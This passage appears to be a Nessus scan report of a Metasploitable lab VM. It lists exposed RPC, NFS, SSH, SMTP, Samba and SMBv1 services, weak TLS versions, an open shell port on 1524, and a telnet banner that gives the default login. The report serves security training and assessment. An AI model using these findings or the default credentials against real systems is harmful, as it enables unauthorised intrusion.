Valid response recieved for port 1099:
0x00:  51 AC ED 00 05 77 0F 01 5D 4F 29 DE 00 00 01 94    Q....w..]O).....
0x10:  D1 C4 F4 D3 80 02 75 72 00 13 5B 4C 6A 61 76 61    ......ur..[Ljava
0x20:  2E 6C 61 6E 67 2E 53 74 72 69 6E 67 3B AD D2 56    .lang.String;..V
0x30:  E7 E9 1D 7B 47 02 00 00 70 78 70 00 00 00 00       ...{G...pxp....
```

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

tcp/111/rpc-portmapper

```
The following RPC services are available on TCP port 111 :

 - program: 100000 (portmapper), version: 2
```

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

udp/111/rpc-portmapper

```
The following RPC services are available on UDP port 111 :

 - program: 100000 (portmapper), version: 2
```

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

tcp/2049/rpc-nfs

```
The following RPC services are available on TCP port 2049 :

 - program: 100003 (nfs), version: 2
 - program: 100003 (nfs), version: 3
 - program: 100003 (nfs), version: 4
```

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

udp/2049/rpc-nfs

```
The following RPC services are available on UDP port 2049 :

 - program: 100003 (nfs), version: 2
 - program: 100003 (nfs), version: 3
 - program: 100003 (nfs), version: 4
```

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

tcp/41965/rpc-nlockmgr

```
The following RPC services are available on TCP port 41965 :

 - program: 100021 (nlockmgr), version: 1
 - program: 100021 (nlockmgr), version: 3
 - program: 100021 (nlockmgr), version: 4
```

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

udp/42076/rpc-mountd

```
The following RPC services are available on UDP port 42076 :

 - program: 100005 (mountd), version: 1
 - program: 100005 (mountd), version: 2
 - program: 100005 (mountd), version: 3
```

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

tcp/47845/rpc-mountd

```
The following RPC services are available on TCP port 47845 :

 - program: 100005 (mountd), version: 1
 - program: 100005 (mountd), version: 2
 - program: 100005 (mountd), version: 3
```

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

tcp/49444/rpc-status

```
The following RPC services are available on TCP port 49444 :

 - program: 100024 (status), version: 1
```

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

udp/59474/rpc-status

```
The following RPC services are available on UDP port 59474 :

 - program: 100024 (status), version: 1
```

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

udp/60175/rpc-nlockmgr

```
The following RPC services are available on UDP port 60175 :

 - program: 100021 (nlockmgr), version: 1
 - program: 100021 (nlockmgr), version: 3
 - program: 100021 (nlockmgr), version: 4
```

53335 - RPC portmapper (TCP)

Synopsis

An ONC RPC portmapper is running on the remote host.

Description

The RPC portmapper is running on this port.

The portmapper allows someone to get the port number of each RPC service running on the remote host by sending either multiple lookup requests or a DUMP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/04/08, Modified: 2011/08/29

Plugin Output

tcp/111/rpc-portmapper

10223 - RPC portmapper Service Detection

Synopsis

An ONC RPC portmapper is running on the remote host.

Description

The RPC portmapper is running on this port.

The portmapper allows someone to get the port number of each RPC service running on the remote host by sending either multiple lookup requests or a DUMP request.

Solution

n/a

Risk Factor

None

CVSS v3.0 Base Score

0.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N)

CVSS v2.0 Base Score

0.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:N)

References

CVE	CVE-1999-0632

Plugin Information

Published: 1999/08/19, Modified: 2019/10/04

Plugin Output

udp/111/rpc-portmapper

10263 - SMTP Server Detection

Synopsis

An SMTP server is listening on the remote port.

Description

The remote host is running a mail (SMTP) server on this port.

Since SMTP servers are the targets of spammers, it is recommended you disable it if you do not use it.

Solution

Disable this service if you do not use it, or filter incoming traffic to this port.

Risk Factor

None

References

XREF IAVT:0001-T-0932

Plugin Information

Published: 1999/10/12, Modified: 2020/09/22

Plugin Output

tcp/25/smtp

```
Remote SMTP server banner :

220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
```

42088 - SMTP Service STARTTLS Command Support

Synopsis

The remote mail service supports encrypting traffic.

Description

The remote SMTP service supports the use of the 'STARTTLS' command to switch from a cleartext to an encrypted communications channel.

See Also

https://en.wikipedia.org/wiki/STARTTLS

https://tools.ietf.org/html/rfc2487

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/10/09, Modified: 2019/03/20

Plugin Output

tcp/25/smtp

```
Here is the SMTP service's SSL certificate that Nessus was able to
collect after sending a 'STARTTLS' command :

------------------------------ snip ------------------------------
Subject Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Issuer Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
```

```
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Serial Number: 00 FA F9 3A 4C 7F B6 B9 CC

Version: 1

Signature Algorithm: SHA-1 With RSA Encryption

Not Valid Before: Mar 17 14:07:45 2010 GMT
Not Valid After: Apr 16 14:07:45 2010 GMT

Public Key Info:

Algorithm: RSA Encryption
Key Length: 1024 bits
Public Key: 00 D6 B4 13 36 33 9A 95 71 7B 1B DE 7C 83 75 DA 71 B1 3C A9
            7F FE AD 64 1B 77 E9 4F AE BE CA D4 F8 CB EF AE BB 43 79 24
            73 FF 3C E5 9E 3B 6D FC C8 B1 AC FA 4C 4D 5E 9B 4C 99 54 0B
            D7 A8 4A 50 BA A9 DE 1D 1F F4 E4 6B 02 A3 F4 6B 45 CD 4C AF
            8D 89 62 33 8F 65 BB 36 61 9F C4 2C 73 C1 4E 2E A0 A8 14 4E
            98 70 46 61 BB D1 B9 31 DF 8C 99 EE 75 6B 79 3C 40 A0 AE 97
            00 90 9D DC 99 0D 33 A4 B5
Exponent: 01 00 01

Signature Length: 128 bytes / 1024 bits
Signature: 00 92 A4 B4 B8 14 55 63 25 51 4A 0B C3 2A 22 CF 3A F8 17 6A
           0C CF 66 AA A7 65 2F 48 6D CD E3 3E 5C 9F 77 6C D4 44 54 1F
           1E 84 4F 8E D4 8D DD AC 2D 88 09 21 A8 DA 56 2C A9 05 3C 49
           68 35 19 75 0C DA 53 23 88 88 19 2D 74 26 C1 22 65 EE 11 68
           83 6A 53 4A 9C 27 CB A0 B4 E9 8D 29 0C B2 3C 18 5C 67 CC 53
           A6 1E 30 D0 AA 26 7B 1E AE 40 B9 29 01 6C 2E BC A2 19 94 7C
           15 6E 8D 30 38 F6 CA 2E 75

------------------------------ snip --------- [...]
```

70657 - SSH Algorithms and Languages Supported

Synopsis

An SSH server is listening on this port.

Description

This script detects which algorithms and languages are supported by the remote service for encrypting communications.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2013/10/28, Modified: 2025/01/20

Plugin Output

tcp/22/ssh

```
Nessus negotiated the following encryption algorithm(s) with the server :

  Client to Server: aes256-ctr
  Server to Client: aes256-ctr

The server supports the following options for compression_algorithms_server_to_client :

  none
  zlib@openssh.com

The server supports the following options for mac_algorithms_client_to_server :

  hmac-md5
  hmac-md5-96
  hmac-ripemd160
  hmac-ripemd160@openssh.com
  hmac-sha1
  hmac-sha1-96
  umac-64@openssh.com

The server supports the following options for server_host_key_algorithms :

  ssh-dss
  ssh-rsa

The server supports the following options for encryption_algorithms_client_to_server :

  3des-cbc
  aes128-cbc
```

```
  aes128-ctr
  aes192-cbc
  aes192-ctr
  aes256-cbc
  aes256-ctr
  arcfour
  arcfour128
  arcfour256
  blowfish-cbc
  cast128-cbc
  rijndael-cbc@lysator.liu.se

The server supports the following options for mac_algorithms_server_to_client :

  hmac-md5
  hmac-md5-96
  hmac-ripemd160
  hmac-ripemd160@openssh.com
  hmac-sha1
  hmac-sha1-96
  umac-64@openssh.com

The server supports the following options for kex_algorithms :

  diffie-hellman-group-exchange-sha1
  diffie-hellman-group-exchange-sha256
  diffie-hellman-group1-sha1
  diffie-hellman-group14-sha1

The server supports the following options for compression_algorithms_client_to_server :

  none
  zlib@openssh.com

The server supports the following options for encryption_algorithms_server_to_client :

  3des-cbc
  aes128-cbc
  aes128-ctr
  aes192-cbc
  aes192-ctr
  aes256-cbc
  aes256-ctr
  arcfour
  arcfour128
  arcfour256
  blowfish-cbc
  cast128-cbc
  rijndael-cbc@lysator.liu.se
```

149334 - SSH Password Authentication Accepted

Synopsis

The SSH server on the remote host accepts password authentication.

Description

The SSH server on the remote host accepts password authentication.

See Also

https://tools.ietf.org/html/rfc4252#section-8

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2021/05/07, Modified: 2021/05/07

Plugin Output

tcp/22/ssh

10881 - SSH Protocol Versions Supported

Synopsis

A SSH server is running on the remote host.

Description

This plugin determines the versions of the SSH protocol supported by the remote SSH daemon.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/03/06, Modified: 2024/07/24

Plugin Output

tcp/22/ssh

```
The remote SSH daemon supports the following versions of the
SSH protocol :

  - 1.99
  - 2.0
```

153588 - SSH SHA-1 HMAC Algorithms Enabled

Synopsis

The remote SSH server is configured to enable SHA-1 HMAC algorithms.

Description

The remote SSH server is configured to enable SHA-1 HMAC algorithms.

Although NIST has formally deprecated use of SHA-1 for digital signatures, SHA-1 is still considered secure for HMAC as the security of HMAC does not rely on the underlying hash function being resistant to collisions.

Note that this plugin only checks for the options of the remote SSH server.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2021/09/23, Modified: 2022/04/05

Plugin Output

tcp/22/ssh

```
The following client-to-server SHA-1 Hash-based Message Authentication Code (HMAC) algorithms are
 supported :

  hmac-sha1
  hmac-sha1-96

The following server-to-client SHA-1 Hash-based Message Authentication Code (HMAC) algorithms are
 supported :

  hmac-sha1
  hmac-sha1-96
```

10267 - SSH Server Type and Version Information

Synopsis

An SSH server is listening on this port.

Description

It is possible to obtain information about the remote SSH server by sending an empty authentication request.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0933

Plugin Information

Published: 1999/10/12, Modified: 2024/07/24

Plugin Output

tcp/22/ssh

```
SSH version : SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
SSH supported authentication : publickey,password
```

56984 - SSL / TLS Versions Supported

Synopsis

The remote service encrypts communications.

Description

This plugin detects which SSL and TLS versions are supported by the remote service for encrypting communications.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/12/01, Modified: 2023/07/10

Plugin Output

tcp/25/smtp

```
This port supports SSLv2/SSLv3/TLSv1.0.
```

56984 - SSL / TLS Versions Supported

Synopsis

The remote service encrypts communications.

Description

This plugin detects which SSL and TLS versions are supported by the remote service for encrypting communications.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/12/01, Modified: 2023/07/10

Plugin Output

tcp/5432/postgresql

```
This port supports SSLv3/TLSv1.0.
```

45410 - SSL Certificate 'commonName' Mismatch

Synopsis

The 'commonName' (CN) attribute in the SSL certificate does not match the hostname.

Description

The service running on the remote host presents an SSL certificate for which the 'commonName' (CN) attribute does not match the hostname on which the service listens.

Solution

If the machine has several names, make sure that users connect to the service through the DNS hostname that matches the common name in the certificate.

Risk Factor

None

Plugin Information

Published: 2010/04/03, Modified: 2021/03/09

Plugin Output

tcp/25/smtp

```
The host names known by Nessus are :

  epic-metasploitable.epicode
  metasploitable

The Common Name in the certificate is :

  ubuntu804-base.localdomain
```

45410 - SSL Certificate 'commonName' Mismatch

Synopsis

The 'commonName' (CN) attribute in the SSL certificate does not match the hostname.

Description

The service running on the remote host presents an SSL certificate for which the 'commonName' (CN) attribute does not match the hostname on which the service listens.

Solution

If the machine has several names, make sure that users connect to the service through the DNS hostname that matches the common name in the certificate.

Risk Factor

None

Plugin Information

Published: 2010/04/03, Modified: 2021/03/09

Plugin Output

tcp/5432/postgresql

```
The host names known by Nessus are :

  epic-metasploitable.epicode
  metasploitable

The Common Name in the certificate is :

  ubuntu804-base.localdomain
```

10863 - SSL Certificate Information

Synopsis

This plugin displays the SSL certificate.

Description

This plugin connects to every SSL-related port and attempts to extract and dump the X.509 certificate.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2008/05/19, Modified: 2021/02/03

Plugin Output

tcp/25/smtp

```
Subject Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Issuer Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Serial Number: 00 FA F9 3A 4C 7F B6 B9 CC

Version: 1

Signature Algorithm: SHA-1 With RSA Encryption

Not Valid Before: Mar 17 14:07:45 2010 GMT
Not Valid After: Apr 16 14:07:45 2010 GMT

Public Key Info:

Algorithm: RSA Encryption
```

```
Key Length: 1024 bits
Public Key: 00 D6 B4 13 36 33 9A 95 71 7B 1B DE 7C 83 75 DA 71 B1 3C A9
            7F FE AD 64 1B 77 E9 4F AE BE CA D4 F8 CB EF AE BB 43 79 24
            73 FF 3C E5 9E 3B 6D FC C8 B1 AC FA 4C 4D 5E 9B 4C 99 54 0B
            D7 A8 4A 50 BA A9 DE 1D 1F F4 E4 6B 02 A3 F4 6B 45 CD 4C AF
            8D 89 62 33 8F 65 BB 36 61 9F C4 2C 73 C1 4E 2E A0 A8 14 4E
            98 70 46 61 BB D1 B9 31 DF 8C 99 EE 75 6B 79 3C 40 A0 AE 97
            00 90 9D DC 99 0D 33 A4 B5
Exponent: 01 00 01

Signature Length: 128 bytes / 1024 bits
Signature: 00 92 A4 B4 B8 14 55 63 25 51 4A 0B C3 2A 22 CF 3A F8 17 6A
           0C CF 66 AA A7 65 2F 48 6D CD E3 3E 5C 9F 77 6C D4 44 54 1F
           1E 84 4F 8E D4 8D DD AC 2D 88 09 21 A8 DA 56 2C A9 05 3C 49
           68 35 19 75 0C DA 53 23 88 88 19 2D 74 26 C1 22 65 EE 11 68
           83 6A 53 4A 9C 27 CB A0 B4 E9 8D 29 0C B2 3C 18 5C 67 CC 53
           A6 1E 30 D0 AA 26 7B 1E AE 40 B9 29 01 6C 2E BC A2 19 94 7C
           15 6E 8D 30 38 F6 CA 2E 75

Fingerprints :

SHA-256 Fingerprint: E7 A7 FA 0D 63 E4 57 C7 C4 A5 9B 38 B7 08 49 C6 A7 0B DA 6F
                     83 0C 7A F1 E3 2D EE 43 6D E8 13 CC
SHA-1 Fingerprint: ED 09 30 88 70 66 03 BF D5 DC 23 73 99 B4 98 DA 2D [...]
```

10863 - SSL Certificate Information

Synopsis

This plugin displays the SSL certificate.

Description

This plugin connects to every SSL-related port and attempts to extract and dump the X.509 certificate.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2008/05/19, Modified: 2021/02/03

Plugin Output

tcp/5432/postgresql

```
Subject Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Issuer Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Serial Number: 00 FA F9 3A 4C 7F B6 B9 CC

Version: 1

Signature Algorithm: SHA-1 With RSA Encryption

Not Valid Before: Mar 17 14:07:45 2010 GMT
Not Valid After: Apr 16 14:07:45 2010 GMT

Public Key Info:

Algorithm: RSA Encryption
```

```
Key Length: 1024 bits
Public Key: 00 D6 B4 13 36 33 9A 95 71 7B 1B DE 7C 83 75 DA 71 B1 3C A9
            7F FE AD 64 1B 77 E9 4F AE BE CA D4 F8 CB EF AE BB 43 79 24
            73 FF 3C E5 9E 3B 6D FC C8 B1 AC FA 4C 4D 5E 9B 4C 99 54 0B
            D7 A8 4A 50 BA A9 DE 1D 1F F4 E4 6B 02 A3 F4 6B 45 CD 4C AF
            8D 89 62 33 8F 65 BB 36 61 9F C4 2C 73 C1 4E 2E A0 A8 14 4E
            98 70 46 61 BB D1 B9 31 DF 8C 99 EE 75 6B 79 3C 40 A0 AE 97
            00 90 9D DC 99 0D 33 A4 B5
Exponent: 01 00 01

Signature Length: 128 bytes / 1024 bits
Signature: 00 92 A4 B4 B8 14 55 63 25 51 4A 0B C3 2A 22 CF 3A F8 17 6A
           0C CF 66 AA A7 65 2F 48 6D CD E3 3E 5C 9F 77 6C D4 44 54 1F
           1E 84 4F 8E D4 8D DD AC 2D 88 09 21 A8 DA 56 2C A9 05 3C 49
           68 35 19 75 0C DA 53 23 88 88 19 2D 74 26 C1 22 65 EE 11 68
           83 6A 53 4A 9C 27 CB A0 B4 E9 8D 29 0C B2 3C 18 5C 67 CC 53
           A6 1E 30 D0 AA 26 7B 1E AE 40 B9 29 01 6C 2E BC A2 19 94 7C
           15 6E 8D 30 38 F6 CA 2E 75

Fingerprints :

SHA-256 Fingerprint: E7 A7 FA 0D 63 E4 57 C7 C4 A5 9B 38 B7 08 49 C6 A7 0B DA 6F
                     83 0C 7A F1 E3 2D EE 43 6D E8 13 CC
SHA-1 Fingerprint: ED 09 30 88 70 66 03 BF D5 DC 23 73 99 B4 98 DA 2D [...]
```

25240 - Samba Server Detection

Synopsis

An SMB server is running on the remote host.

Description

The remote host is running Samba, a CIFS/SMB server for Linux and Unix.

See Also

https://www.samba.org/

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/05/16, Modified: 2022/10/12

Plugin Output

tcp/445/cifs

104887 - Samba Version

Synopsis

It was possible to obtain the samba version from the remote operating system.

Description

Nessus was able to obtain the samba version from the remote operating by sending an authentication request to port 139 or 445. Note that this plugin requires SMB1 to be enabled on the host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2017/11/30, Modified: 2019/11/22

Plugin Output

tcp/445/cifs

```
The remote Samba Version is : Samba 3.0.20-Debian
```

96982 - Server Message Block (SMB) Protocol Version 1 Enabled (uncredentialed check)

Synopsis

The remote Windows host supports the SMBv1 protocol.

Description

The remote Windows host supports Server Message Block Protocol version 1 (SMBv1). Microsoft recommends that users discontinue the use of SMBv1 due to the lack of security features that were included in later SMB versions. Additionally, the Shadow Brokers group reportedly has an exploit that affects SMB; however, it is unknown if the exploit affects SMBv1 or another version. In response to this, US-CERT recommends that users disable SMBv1 per SMB best practices to mitigate these potential issues.

See Also

https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/

https://support.microsoft.com/en-us/help/2696547/how-to-detect-enable-and-disable-smbv1-smbv2-and-smbv3-in-windows-and

http://www.nessus.org/u?8dcab5e4

http://www.nessus.org/u?234f8ef8

http://www.nessus.org/u?4c7e0cf3

Solution

Disable SMBv1 according to the vendor instructions in Microsoft KB2696547. Additionally, block SMB directly by blocking TCP port 445 on all network boundary devices. For SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 137 / 138 on all network boundary devices.

Risk Factor

None

References

XREF IAVT:0001-T-0710

Plugin Information

Published: 2017/02/03, Modified: 2020/09/22

Plugin Output

tcp/445/cifs

```
The remote host supports SMBv1.
```

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/22/ssh

```
An SSH server is running on this port.
```

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/23/telnet

```
A telnet server is running on this port.
```

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/25/smtp

```
An SMTP server is running on this port.
```

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/53/dns

```
The service closed the connection without sending any data.
It might be protected by some sort of TCP wrapper.
```

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/80/www

```
A web server is running on this port.
```

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/1524/wild_shell

```
A shell server (Metasploitable) is running on this port.
```

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/2121/ftp

```
An FTP server is running on this port.
```

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/5900/vnc

```
A vnc server is running on this port.
```

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/8180/www

```
The service closed the connection without sending any data.
It might be protected by some sort of TCP wrapper.
```

14772 - Service Detection (2nd Pass)

Synopsis

This plugin performs service detection.

Description

This plugin is a complement of find_service1.nasl. It attempts to identify common services which might have been missed because of a network problem.

Solution

See below

Risk Factor

None

Plugin Information

Published: 2004/09/17, Modified: 2011/04/01

Plugin Output

tcp/0

```
doublecheck_std_services identified 1 service that should
have been found by find_service.

This might be due to network latency. Try to increase
the network timeout in your scan policy
```

14772 - Service Detection (2nd Pass)

Synopsis

This plugin performs service detection.

Description

This plugin is a complement of find_service1.nasl. It attempts to identify common services which might have been missed because of a network problem.

Solution

See below

Risk Factor

None

Plugin Information

Published: 2004/09/17, Modified: 2011/04/01

Plugin Output

tcp/21/ftp

```
An FTP server is running on this port
```

17975 - Service Detection (GET request)

Synopsis

The remote service could be identified.

Description

It was possible to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0935

Plugin Information

Published: 2005/04/06, Modified: 2021/10/27

Plugin Output

tcp/6667/irc

```
An IRC daemon is listening on this port.
```

17975 - Service Detection (GET request)

Synopsis

The remote service could be identified.

Description

It was possible to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0935

Plugin Information

Published: 2005/04/06, Modified: 2021/10/27

Plugin Output

tcp/8180/www

```
A web server is running on this port
```

11153 - Service Detection (HELP Request)

Synopsis

The remote service could be identified.

Description

It was possible to identify the remote service by its banner or by looking at the error message it sends when it receives a 'HELP'

request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/11/18, Modified: 2024/11/19

Plugin Output

tcp/3306/mysql

```
A MySQL server is running on this port.
```

25220 - TCP/IP Timestamps Supported

Synopsis

The remote service implements TCP timestamps.

Description

The remote host implements TCP timestamps, as defined by RFC1323. A side effect of this feature is that the uptime of the remote host can sometimes be computed.

See Also

http://www.ietf.org/rfc/rfc1323.txt

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/05/16, Modified: 2023/10/17

Plugin Output

tcp/0

19941 - TWiki Detection

Synopsis

The remote web server hosts a Wiki system written in Perl.

Description

The remote host is running TWiki, an open source wiki system written in Perl.

See Also

http://twiki.org

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2005/10/06, Modified: 2023/05/24

Plugin Output

tcp/80/www

```
URL     : http://Epic-Metasploitable.epicode/twiki/bin/view
Version : 01 Feb 2003
```

110723 - Target Credential Status by Authentication Protocol - No Credentials Provided

Synopsis

Nessus was able to find common ports used for local checks, however, no credentials were provided in the scan policy.

Description

Nessus was not able to successfully authenticate directly to the remote target on an available authentication protocol. Nessus was able to connect to the remote port and identify that the service running on the port supports an authentication protocol, but Nessus failed to authenticate to the remote service using the provided credentials. There may have been a protocol failure that prevented authentication from being attempted or all of the provided credentials for the authentication protocol may be invalid. See plugin output for error details.

Please note the following :

- This plugin reports per protocol, so it is possible for valid credentials to be provided for one protocol and not another. For example, authentication may succeed via SSH but fail via SMB, while no credentials were provided for an available SNMP service.

- Providing valid credentials for all available authentication protocols may improve scan coverage, but the value of successful authentication for a given protocol may vary from target to target depending upon what data (if any) is gathered from the target via that protocol. For example, successful authentication via SSH is more valuable for Linux targets than for Windows targets, and likewise successful authentication via SMB is more valuable for Windows targets than for Linux targets.

Solution

n/a

Risk Factor

None

References

XREF IAVB:0001-B-0504

Plugin Information

Published: 2018/06/27, Modified: 2024/04/19

Plugin Output

tcp/0

```
SSH was detected on port 22 but no credentials were provided.
SSH local checks were not enabled.
```

10281 - Telnet Server Detection

Synopsis

A Telnet server is listening on the remote port.

Description

The remote host is running a Telnet server, a remote terminal server.

Solution

Disable this service if you do not use it.

Risk Factor

None

Plugin Information

Published: 1999/10/12, Modified: 2020/06/12

Plugin Output

tcp/23/telnet

```
Here is the banner from the remote Telnet server :

------------------------------ snip ------------------------------
                _                  _       _ _        _     _      ____
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
                            |_|
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
metasploitable login:
------------------------------ snip ------------------------------
```

10287 - Traceroute Information

Synopsis

It was possible to obtain traceroute information.

Description

Makes a traceroute to the remote host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 1999/11/27, Modified: 2023/12/04

Plugin Output

udp/0

```
For your information, here is the traceroute from 192.168.50.100 to 192.168.51.101 :
192.168.50.100
192.168.50.1
192.168.51.101

Hop Count: 2
```

